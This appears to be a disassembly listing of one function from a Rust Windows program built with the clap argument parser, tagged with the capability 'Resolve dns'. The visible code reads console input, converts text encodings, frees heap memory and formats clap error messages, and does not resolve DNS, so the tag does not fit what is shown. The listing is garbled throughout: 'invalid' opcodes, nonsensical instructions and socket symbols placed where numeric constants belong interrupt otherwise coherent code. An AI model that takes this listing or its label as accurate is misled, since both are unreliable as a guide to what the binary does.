Function at 0x140166a90
Capabilities:
Resolve dns

Disassembly:
mov ecx, 2
call fcn.14002cfa0
ud2
mov r8, qword [rbp + 0x2000]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x2020]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215270]
mov r13, qword [0x140215278]
mov rsi, qword [0x140215260]
cmp rcx, r13
jb 0x140029797
mov rbx, qword [0x140215268]
mov rcx, qword [0x140215280]
mov r8, rbx
sub r8, rcx
jb 0x140029c04
add rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov ecx, 0xfffffff6
call sub.KERNEL32.dll_GetStdHandle
mov r13, rax
test rax, rax
je 0x14002977c
cmp r13, 0xffffffffffffffff
jne 0x140029482
call sub.KERNEL32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x140029680
mov dword [rbp - 0x38], 0
mov rcx, r13
lea rdi, [rbp - 0x38]
mov rdx, rdi
call sub.KERNEL32.dll_GetConsoleMode
test eax, eax
mov qword [rbp + 0x2020], r13
je 0x140029512
movzx edi, byte [0x14021528e]
cmp rbx, rdi
mov r13, rdi
cmovb r13, rbx
cmp r13, 5
jae 0x140029ce7
mov rcx, rsi
lea r14, [0x14021528a]
mov rdx, r14
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, rdi
jae 0x140029542
mov r8d, 4
sub r8, r13
lea rax, [0x140215250]
lea rdx, [rax + r13]
add rdx, 0x3a
mov rcx, r14
call sub.VCRUNTIME140.dll_memmove
movzx eax, byte [0x14021528e]
sub al, r13b
mov byte [0x14021528e], al
cmp rbx, rdi
ja 0x140029553
jmp 0x140029775
mov rcx, rdi
mov rdx, r13
mov r8, rsi
mov r9, rbx
call fcn.1401359e0
mov rcx, qword [rbp - 0x38]
mov r13, qword [rbp - 0x30]
test rcx, rcx
je 0x140029775
test r13, r13
jne 0x140029680
jmp 0x1400296a9
xor eax, eax
mov byte [0x14021528e], al
cmp rbx, rdi
jbe 0x140029775
mov r14, rbx
sub r14, r13
cmp r14, 4
jae 0x140029601
mov word [rbp + 0x1fd8], 0
lea rax, [0x140215288]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp + 0x2020]
lea r8, [rbp + 0x1fd8]
call fcn.140137560
cmp qword [rbp - 0x38], 0
mov r9, qword [rbp - 0x30]
jne 0x140029663
cmp r9, 2
jae 0x140029cfd
test r9, r9
je 0x140029702
movups xmmword [rsp + 0x30], xmm6
lea rax, [0x14021528a]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
mov ecx, 0xfde9
mov edx, 0x80
lea r8, [rbp + 0x1fd8]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea r9, str.Windows_stdin_in_console_mode_does_not_support_non_UTF_16_input__encountered_unpaired_surrogate
test eax, eax
jne 0x140029704
jmp 0x140029663
mov rax, rbx
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp rdx, 0x1000
mov eax, 0x1000
cmovae rdx, rax
lea rax, [0x140215288]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r9d, 0x1000
lea rcx, [rbp + 0x1fd8]
mov rdx, qword [rbp + 0x2020]
lea r8, [rbp - 0x38]
call fcn.140137560
cmp qword [rbp + 0x1fd8], 0
mov r9, qword [rbp + 0x1fe0]
je 0x1400296b1
mov r13, r9
movabs r12, 0xa0a0a0a0a0a0a0a
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
test r13, r13
je 0x1400296a9
nop word cs:[rax + rax]
mov eax, r13d
and eax, 3
cmp rax, 2
clc
add cl, byte [rdi]
invalid
adc eax, dword [rcx]
add byte [rax], al
cmp eax, 2
jne 0x1400297a3
mov rax, r13
shr rax, 0x20
cmp eax, 6
jne 0x1400297a3
invalid
xor r13d, r13d
jmp 0x14002977c
cmp r9, 0x1001
jae 0x140029d13
add byte [rax], al
test r9, r9
je 0x140029aea
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov ecx, 0xfde9
mov edx, 0x80
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
enter 0x15ff, 0xffffffffffffffbf
jmp 0x1008796fe
movabs r12, 0xa0a0a0a0a0a0a0a
je 0x140029bb1
cdqe
jmp 0x140029af6
xor eax, eax
mov byte [0x14021528e], al
lea rcx, [rsi + r13]
movzx r12d, al
cmp r14, r12
mov rdi, r12
cmovb rdi, r14
lea rdx, [0x14021528a]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
cmp r14, r12
jae 0x140029760
mov r8d, 4
sub r8, rdi
lea rax, [0x140215250]
lea rdx, [rdi + rax]
add rdx, 0x3a
lea rcx, [0x14021528a]
call sub.VCRUNTIME140.dll_memmove
movzx eax, byte [0x14021528e]
sub al, dil
jmp 0x140029762
xor eax, eax
movabs r12, 0xa0a0a0a0a0a0a0a
mov byte [0x14021528e], al
add r13, rdi
cmp rbx, r13
cmovbe rbx, r13
mov qword [0x140215270], 0
mov qword [0x140215278], r13
mov qword [0x140215280], rbx
xor ecx, ecx
sub r13, rcx
test rsi, rsi
jne 0x140029870
mov esi, r13d
and esi, 3
movsxd rax, dword [r15 + rsi*4]
add rax, r15
jmp rax
movzx eax, byte [r13 + 0x10]
jmp 0x140029805
mov rcx, r13
shr rcx, 0x20
call fcn.14012f020
jmp 0x140029805
mov rax, r13
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x1400297ee
lea rcx, [0x140208144]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
jmp 0x140029805
movzx eax, byte [r13 + 0xf]
cmp al, 0x23
jne 0x140029bc2
lea rax, [rsi - 2]
cmp rax, 2
jb 0x14002940f
test rsi, rsi
je 0x14002940f
lea rax, [r13 - 1]
mov qword [rbp + 0x2020], rax
mov rcx, qword [r13 - 1]
mov rax, qword [r13 + 7]
mov qword [rbp + 0x2000], rcx
mov qword [rbp + 0x1ff0], rax
call qword [rax]
mov rax, qword [rbp + 0x1ff0]
cmp qword [rax + 8], 0
je 0x1400293f9
cmp qword [rax + 0x10], 0x11
jae 0x1400293df
invalid
mov r8, qword [rbp + 0x2000]
jmp 0x1400293ea
lea rbx, [rsi + rcx]
cmp r13, 0x10
jae 0x1400298a7
test r13, r13
je 0x140029973
lock add byte [rax], al
invalid
xor edx, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rbx + rdx], 0xa
je 0x140029b06
inc rdx
cmp r13, rdx
jne 0x140029890
jmp 0x140029973
lea rax, [rbx + 7]
and rax, 0xfffffffffffffff8
and eax, 0xfffffff8
sub rax, rbx
je 0x1400298ed
cmp rax, r13
cmovae rax, r13
test rax, rax
je 0x1400298ed
xor edx, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rbx + rdx], 0xa
je 0x140029b06
sub al, 2
add byte [rax], al
inc rdx
cmp rax, rdx
jne 0x1400298d0
out dx, al
lea rdx, [r13 - 0x10]
cmp rax, rdx
sal byte [rsi + 8], 1
jmp 0x14002994e
lea rdx, [r13 - 0x10]
xor eax, eax
invalid
add rcx, rsi
add rcx, 8
nop word [rax + rax]
mov r8, qword [rcx + rax - 8]
mov r9, r8
not r9
xor r8, r12
movabs r10, 0xfefefefefefefeff
add r8, r10
add eax, edx
and r8, r9
movabs r11, 0x8080808080808080
test r8, r11
invalid
jne 0x14002994e
mov r8, qword [rcx + rax]
mov r9, r8
not r9
not ecx
xor r8, r12
add r8, r10
and r8, r9
enter 0xffffffffffff854d, 0xffffffffffffffd8
jne 0x14002994e
add rax, 0x10
cmp rax, rdx
jbe case.0x140010a46.79
mov rcx, r13
sub rcx, rax
je 0x140029973
lea r8, [rbx + rax]
xor edx, edx
nop dword [rax]
invalid
cmp byte [r8 + rdx], 0xa
je 0x140029b03
invalid
cwde
add dword [rax], eax
add byte [rax], al
inc rdx
cmp rcx, rdx
jne 0x140029960
mov rax, qword [rbp + 0x2010]
mov rsi, qword [rbp + 0x2018]
sub rax, rsi
cmp rax, r13
cmp eax, ebp
jae 0x1400299ac
lea rcx, [rbp + 0x2008]
mov rdx, rsi
mov r8, r13
call fcn.140166600
add byte [rax - 0x75], cl
mov ch, 0x18
and byte [rax], al
add byte [rcx - 0x44], cl
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
or cl, byte [rdx]
mov rcx, qword [rbp + 0x2008]
add rcx, rsi
mov rdx, rbx
mov r8, r13
call 0x1533444a8
add byte [rcx + rax - 0x12], cl
add esi, ebp
call 0x1533444a8
add byte [rcx + rax - 0x12], cl
add esi, ebp
add esi, ebp
xor eax, eax
jmp 0x140029b73
add byte [rax], al
add byte [rax], al
mov al, 0x25
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x23
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x24
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x1b
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x22
jmp 0x140029805
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_recv
jmp 0x140029805
invalid
invalid
invalid
mov al, 0xe
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x21
jmp 0x140029805
invalid
invalid
invalid
mov al, 0xb
jmp 0x140029805
invalid
invalid
invalid
mov al, 4
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x28
jmp 0x140029805
invalid
invalid
invalid
mov al, 0xc
jmp 0x140029805
invalid
invalid
invalid
mov al, 9
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x19
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x18
jmp 0x140029805
invalid
invalid
invalid
mov al, 2
jmp 0x140029805
invalid
invalid
invalid
mov al, recv
jmp 0x140029805
invalid
invalid
invalid
mov al, 3
jmp 0x140029805
invalid
invalid
invalid
mov al, 7
jmp 0x140029805
invalid
invalid
invalid
mov al, 1
jmp 0x140029805
mov al, 0x1f
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x11
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x29
jmp 0x140029805
invalid
invalid
invalid
mov al, setsockopt
jmp 0x140029805
invalid
invalid
invalid
mov al, 5
jmp 0x140029805
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140029805
invalid
invalid
invalid
mov al, 0xd
jmp 0x140029805
invalid
invalid
invalid
mov al, 6
jmp 0x140029805
invalid
invalid
invalid
mov al, send
jmp 0x140029805
invalid
invalid
invalid
mov al, 0xa
jmp 0x140029805
invalid
invalid
invalid
mov al, 8
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x1e
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x20
jmp 0x140029805
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x27
jmp 0x140029805
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x17
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x1c
jmp 0x140029805
invalid
invalid
invalid
mov al, 0x1d
jmp 0x140029805
mov al, 0x26
jmp 0x140029805
mov al, 0x1a
jmp 0x140029805
xor eax, eax
movabs r12, 0xa0a0a0a0a0a0a0a
add rax, r13
xor ecx, ecx
mov r13, rax
jmp 0x14002952b
add rdx, rax
cmp rdx, 0xffffffffffffffff
je 0x140029d29
lea rdi, [rdx + 1]
cmp rdx, r13
jae 0x140029d30
mov rax, qword [rbp + 0x2010]
mov rsi, qword [rbp + 0x2018]
sub rax, rsi
cmp rax, rdx
ja 0x140029b56
lea rcx, [rbp + 0x2008]
mov rdx, rsi
mov r8, rdi
call fcn.140166600
mov rsi, qword [rbp + 0x2018]
movabs r12, 0xa0a0a0a0a0a0a0a
mov rcx, qword [rbp + 0x2008]
add rcx, rsi
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov al, 1
mov r13, rdi
mov qword [rbp + 0x2018], rsi
mov rcx, qword [0x140215270]
add rcx, r13
mov rdx, qword [0x140215278]
cmp rcx, rdx
cmovae rcx, rdx
mov qword [0x140215270], rcx
add qword [rbp + 0x1ff8], r13
mov bl, 1
test al, al
jne 0x140029bde
test r13, r13
jne 0x14002940f
jmp 0x140029bde
mov ecx, 1
lea r13, str.Windows_stdin_in_console_mode_does_not_support_non_UTF_16_input__encountered_unpaired_surrogate
jmp 0x14002952b
mov eax, 1
mov qword [rbp + 0x1fd0], rax
mov rsi, qword [rbp + 0x2018]
xor ebx, ebx
mov qword [rbp + 0x1ff8], r13
mov r8, rsi
mov rdx, qword [rbp + 0x1fc8]
sub r8, rdx
jae 0x140029c18
lea r8, [0x1401db7c0]
mov rcx, rdx
mov rdx, rsi
call fcn.140160e60
jmp 0x140029d42
lea r8, str.library_std_srcio_readbuf.rs
mov rdx, rbx
call fcn.140160e60
jmp 0x140029d42
mov rdi, qword [rbp + 0x2008]
add rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.14005a400
cmp qword [rbp - 0x38], 0
jne 0x140029ca5
mov qword [rbp + 0x2018], rsi
test bl, bl
mov rcx, qword [rbp + 0x1ff8]
je 0x140029cb9
cmp byte [rbp + 0x1fec], 0
jne 0x140029c6c
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
je 0x140029c6c
call fcn.1401666c0
test al, al
jne 0x140029c6c
mov byte [0x140215258], 1
lea rcx, [0x140215250]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp qword [rbp + 0x2010], 0
je 0x1400290fe
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 2
call fcn.14002cfa0
ud2
lea rax, [0x1401db1a0]
test bl, bl
mov rcx, qword [rbp + 0x1ff8]
cmovne rcx, rax
mov qword [rbp - 0x38], rcx
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcerrormod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140169de0]
lea r8, [rbp - 0x38]
mov edx, 0x2b
call fcn.140161200
ud2
lea r8, str.library_std_src_syswindows_stdio.rs
mov edx, 4
mov rcx, r13
call fcn.140160f40
jmp 0x140029d42
lea r8, str.library_std_src_syswindows_stdio.rs
mov edx, 1
mov rcx, r9
call fcn.140160f40
jmp 0x140029d42
lea r8, str.library_std_src_syswindows_stdio.rs
mov edx, 0x1000
mov rcx, r9
call fcn.140160f40
jmp 0x140029d42
call fcn.140161420
jmp 0x140029d42
lea r8, [0x1401dba00]
mov rcx, rdi
mov rdx, r13
call fcn.140160f40
ud2
adc byte [rax], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0x1ff0]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x2000]
call fcn.14012dad0
mov rcx, qword [rbp + 0x2020]
and byte [rax], ah
add byte [rax], al
call fcn.14013a670
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, r13d
lea rcx, [0x140208240]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x14002a14b
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x90], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0x78], 0x20
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
lea rdx, [rsp + 0x90]
mov qword [rsp + 0x68], rdx
lea rdx, fcn.140022090
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x48]
call qword [rax + 0x20]
test al, al
jne 0x14002b3bc
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0xb0]
jmp 0x14002b0ae
mov ebx, 0x1e
lea r14, [0x14016a83b]
jmp 0x14002b044
lea rdx, str.Unknown_cause_n_n_isnt_a_valid_value_for__n_t_possible_values:__n_n_tDid_you_mean_Found_argument__which_wasnt_expected__or_isnt_valid_in_this_context_n_n_tDid_you_mean__to_put__after_the_subcommand__n_n_tIf_you_tried_to_supply____as_a_value_rather_than_a_flag__use____
lea rcx, [rsp + 0x28]
mov r8d, recv
mov eax, recv
call fcn.14002de70
jmp 0x14002b0b3
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rbx
call fcn.14002e1b0
mov rcx, r14
mov rdx, rbx
call fcn.14002e430
mov r8d, 2
mov rcx, r14
mov rdx, r15
call fcn.14002de70
cmp eax, dword [rax]
invalid
add r13, 0x18
cmp r13, rbp
jne 0x14002a284
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e1b0
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.14002e430
lea rdx, [0x140204aa1]
lea rcx, [rsp + 0x28]
mov r8d, 1
call fcn.14002de70
mov rbx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x50]
mov rcx, rbx
mov rdx, r14
mov r8b, 0xd
call fcn.14002dff0
test rax, rax
je 0x14002b0b3
mov rbx, rax
cmp byte [rax], 2
jne 0x14002b0b3
lea rdx, [0x14016abfd]
lea r14, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e020
mov rcx, r14
mov rdx, rbx
call fcn.14002e430
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
jmp 0x14002b362
mov ecx, esi
call fcn.14002de70
mov rbx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x50]
mov rcx, rbx
mov rdx, r14
mov r8b, 0xb
call fcn.14002dff0
mov r12, rax
mov rcx, rbx
mov rdx, r14
mov r8b, 0xc
call fcn.14002dff0
mov r15, rax
test r12, r12
je 0x14002b16b
test r15, r15
je 0x14002b1bf
cmp byte [r12], 2
jne 0x14002b1bf
cmp byte [r15], 2
jne 0x14002b1bf
lea rdx, [0x14016abfd]
lea rbx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call fcn.14002de70
lea rdx, [0x14016ac67]
mov r8d, 8
mov rcx, rbx
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
mov rcx, rbx
call fcn.14002e4d0
lea rdx, [0x14016ac6f]
mov r8d, 0x18
mov rcx, rbx
call fcn.14002de70
mov r15, r12
jmp 0x14002b18d
mov rcx, rbx
mov rdx, r14
mov r8b, 0xb
call fcn.14002dff0
test rax, rax
je 0x14002a553
mov r15, rax
cmp byte [rax], 2
jne 0x14002a553
lea rdx, [0x14016abfd]
lea rbx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
mov rcx, rbx
mov ecx, ebx
call fcn.14002e4d0
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
mov rcx, rbx
call fcn.14002de70
mov rbx, qword [rdi + 0x40]
mov r14, qword [rdi + 0x50]
push rax
push rax
mov rcx, rbx
mov rdx, r14
mov r8b, 0xa
call fcn.14002dff0
test rax, rax
ror byte [rdi], 0x84
or rax, qword [r8]
invalid
mov rbx, rax
cmp byte [rax], 2
jne 0x14002b0b3
lea rdx, [0x14016ad73]
lea r14, [rsp + 0x28]
mov r8d, 0x4a
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
call fcn.14002e4d0
jmp 0x14002b35b
cmp byte [rbx], al
jne 0x14002b0b3
lea rdx, [0x14016abe9]
lea rcx, [rsp + 0x28]
mov r8d, setsockopt
call fcn.14002de70
mov r13, qword [rbx + 8]
mov rax, qword [rbx + 0x18]
xor r12d, r12d
sub rax, 1
lea rax, [rax + rax*2]
lea rbp, [r13 + rax*8]
invalid
add byte [rdi + rcx + 0x43], cl
in eax, 0x72
invalid
je 0x14002a70c
lea rbx, [rsp + 0x48]
lea r14, [rsp + 0x28]
lea r15, [0x1401da468]
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rbx
call fcn.14002e1b0
mov rcx, r14
mov ecx, esi
mov ecx, esi
mov rdx, rbx
call fcn.14002e430
mov r8d, 2
mov rcx, r14
mov rdx, r15
call fcn.14002de70
add r13, 0x18
cmp r13, rbp
jne 0x14002a6d7
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e1b0
lea rcx, [rsp + 0x28]
mov rdx, rbx
call fcn.14002e430
lea rdx, [0x140204aa1]
jmp 0x14002b398
or al, 0
invalid
inc dword [rcx - 0x80]
invalid
sbb cl, byte [rax]
add byte [rax], al
mov r14, qword [rdi + 0x40]
mov r15, qword [rdi + 0x50]
mov rcx, r14
mov rdx, r15
mov r8b, 1
call fcn.14002dff0
mov rbx, rax
mov rcx, r14
mov rdx, r15
mov r8b, 4
call fcn.14002dff0
test rbx, rbx
je 0x14002a024
mov r15, rax
test rax, rax
je 0x14002a024
cmp byte [rbx], 2
jne 0x14002a024
cmp byte [r15], 2
jne 0x14002a024
lea rdx, [0x14016ae3b]
lea r14, [rsp + 0x28]
mov r8d, recv
mov rcx, r14
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
mov rcx, r14
call fcn.14002e0e0
lea rdx, [0x14016ae46]
mov r8d, reloc.WS2_32.dll_send
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
call fcn.14002e0e0
lea rdx, [0x14016ae59]
mov r8d, 0x29
jmp 0x14002b368
je 0x14002a024
cmp byte [r15], 2
jne 0x14002a024
cmp byte [rbx], 4
jne 0x14002a024
cmp byte [r12], 4
jne 0x14002a024
cmp byte [r15], 2
jne 0x14002a024
cmp byte [rbx], 4
jne 0x14002a024
cmp byte [r12], 4
jne 0x14002a024
mov rax, qword [rbx + 8]
cmp rax, 2
mov r14d, recv
sbb r14, 0xffffffffffffffff
cmp rax, 2
lea rax, [0x14016afe8]
lea r13, [0x14016afdb]
cmovae r13, rax
lea rdx, [0x14016adbd]
lea rbp, [rsp + 0x28]
mov r8d, recv
mov rcx, rbp
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
mov rcx, rbp
call fcn.14002e0e0
lea rdx, [0x14016aea7]
mov r8d, setsockopt
mov rcx, rbp
call fcn.14002de70
mov rdx, qword [r12 + 8]
lea r15, [rsp + 0x48]
mov rcx, r15
call fcn.14002e750
mov rcx, rbp
mov rdx, r15
call fcn.14002e480
lea rdx, [0x14016aeb8]
mov r8d, setsockopt
jmp 0x14002ac57
clc
add cl, byte [rax - 0x73]
add eax, 0x140405
lea r13, [0x14016afdb]
cmovae r13, rax
lea rdx, [0x14016adbd]
lea rbp, [rsp + 0x28]
mov r8d, recv
mov rcx, rbp
call fcn.14002de70
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x18]
mov rcx, rbp
call fcn.14002e0e0
add byte [rax], al
lea rdx, [0x14016aec9]
mov r8d, recv
mov rcx, rbp
call fcn.14002de70
mov rdx, qword [r12 + 8]
lea r15, [rsp + 0x48]
mov rcx, r15
call fcn.14002e750
mov rcx, rbp
mov rdx, r15
call fcn.14002e480
lea rdx, [0x14016aed4]
mov r8d, recv
mov rcx, rbp
call fcn.14002de70
mov rdx, qword [rbx + 8]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.14002e750
mov rcx, rbp
mov rdx, rbx
call fcn.14002e480
add eax, 0x48000038
mov ecx, ebp
mov rdx, r13
mov r8, r14
call fcn.14002de70
jmp 0x14002b0b3
sub byte [rcx - 0x48], al
invalid
mov r8d, 5
mov rcx, r14
mov rdx, rbx
call fcn.14002de70
cli
xor byte [rax], al
add byte [rcx - 0x75], cl
invalid
mov r8, qword [r15 + 0x10]
mov rcx, r14
call fcn.14002e0e0
add r15, 0x18
cmp r15, r12
cmp edi, esp
jne 0x14002ad65
jmp 0x14002b0b3
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x14002b0b3
mov r15, qword [rbx + 8]
lea rax, [rax + rax*2]
lea r12, [r15 + rax*8]
lea rbx, [0x14016aef8]
lea r14, [rsp + 0x28]
mov r8d, 5
mov rcx, r14
mov rdx, rbx
call fcn.14002de70
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, r14
call fcn.14002e4d0
add r15, 0x18
cmp r15, r12
jne 0x14002adf4
jmp 0x14002b0b3
add cl, byte [rdi]
test ebp, ebx
int1
invalid
mov rcx, r14
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
mov rcx, r14
mov ecx, esi
mov ecx, esi
call fcn.14002e0e0
lea rdx, [0x14016af5d]
mov r8d, 0x30
add byte [rax], al
add cl, ch
in eax, 4
add byte [rax], al
add byte [rax], al
add cl, ch
in eax, 4
add byte [rax], al
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x50]
mov r8b, 1
mov al, 1
mov al, 1
call fcn.14002dff0
test rax, rax
je 0x14002a024
mov rbx, rax
mov ebx, eax
cmp byte [rax], 2
jne 0x14002a024
lea rdx, [0x14016adbd]
lea r14, [rsp + 0x28]
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x28
mov r8d, recv
mov rcx, r14
int1
int1
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.140014d00
mov rcx, r14
mov ecx, esi
mov ecx, esi
mov rdx, rbx
call fcn.14002e480
lea rdx, [0x14016af8d]
add byte [rax + rax], dl
add byte [rax + rax], dl
mov r8d, 0x40
jmp 0x14002b368
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x50]
mov r8b, 1
call fcn.14002dff0
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x14002a024
mov rbx, rax
cmp byte [rax], 2
jne 0x14002a024
lea rdx, [0x14016adbd]
adc eax, dword [rax]
lea r14, [rsp + 0x28]
mov r8d, recv
mov rcx, r14
mov ecx, esi
mov ecx, esi
call fcn.14002de70
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x18]
lea rbx, [rsp + 0x48]
mov rcx, rbx
call fcn.140014d00
mov rcx, r14
mov rdx, rbx
call fcn.14002e480
lea rdx, [0x14016afcd]
mov r8d, recv
jmp 0x14002b368
mov ebx, 0x2d
lea r14, str.One_of_the_values_isnt_valid_for_an_argumentFound_an_argument_which_wasnt_expected_or_isnt_valid_in_this_contextA_subcommand_wasnt_recognizedAn_argument_requires_a_value_but_none_was_suppliedEqual_is_needed_when_assigning_values_to_one_of_the_argumentsInvalid_value_for_one_of_the_argumentsAn_argument_received_an_unexpected_valueAn_argument_requires_more_valuesAn_argument_occurred_too_many_timesAn_argument_received_too_many_or_too_few_valuesAn_argument_cannot_be_used_with_one_or_more_of_the_other_specified_argumentsOne_or_more_required_arguments_were_not_providedA_subcommand_is_required_but_one_was_not_providedAn_argument_was_provided_more_than_once_but_cannot_be_used_multiple_timesInvalid_UTF_8_was_detected_in_one_or_more_argumentsAn_argument_wasnt_found_nPress__ENTER_____RETURN__to_continue..._n
jmp 0x14002b044
mov ebx, 0x46
lea r14, [0x14016a7f5]
jmp 0x14002b044
mov ebx, 0x32
lea r14, [0x14016a859]
jmp 0x14002b044
mov ebx, 0x3d
lea r14, [0x14016a88b]
jmp 0x14002b044
mov ebx, 0x26
lea r14, [0x14016a8c8]
jmp 0x14002b044
mov ebx, 0x28
lea r14, [0x14016a8ee]
jmp 0x14002b044
mov ebx, 0x20
lea r14, [0x14016a916]
jmp 0x14002b044
mov ebx, 0x23
lea r14, [0x14016a936]
jmp 0x14002b044
mov ebx, 0x2f
lea r14, [0x14016a959]
jmp 0x14002b044
mov ebx, 0x4c
lea r14, [0x14016a988]
jmp 0x14002b044
mov ebx, 0x30
lea r14, [0x14016a9d4]
jmp 0x14002b044
mov ebx, 0x31
lea r14, [0x14016aa04]
jmp 0x14002b044
mov ebx, 0x49
lea r14, [0x14016aa35]
jmp 0x14002b044
mov ebx, 0x33
lea r14, [0x14016aa7e]
jmp 0x14002b044
mov ebx, 0x18
lea r14, [0x14016aab1]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14002b070
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14002b3ad
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
